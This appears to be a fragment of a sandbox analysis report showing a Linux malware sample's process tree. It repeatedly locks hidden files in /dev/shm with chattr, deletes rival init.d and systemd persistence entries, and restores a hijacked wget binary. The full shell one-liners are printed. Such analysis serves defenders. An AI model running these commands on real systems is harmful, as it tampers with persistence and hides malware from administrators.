                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1026
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1027
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1092
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1093
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1094
                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1095
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1096
                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1097
                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1098
                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1099
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1100
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1101
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1102
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1103
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1104
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1105
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1106
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1107
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1172
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1173
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1174
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1175
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1177
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1178
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1179
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1181
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1182
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1183
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1185
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1186
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1187
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1253
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1254
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1255
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1257
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1258
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1259
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1261
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1262
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1263
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1265
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1266
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1267
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1366
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1367
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1369
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1370
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1371
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1373
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1374
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1375
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1377
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1378
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1379
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
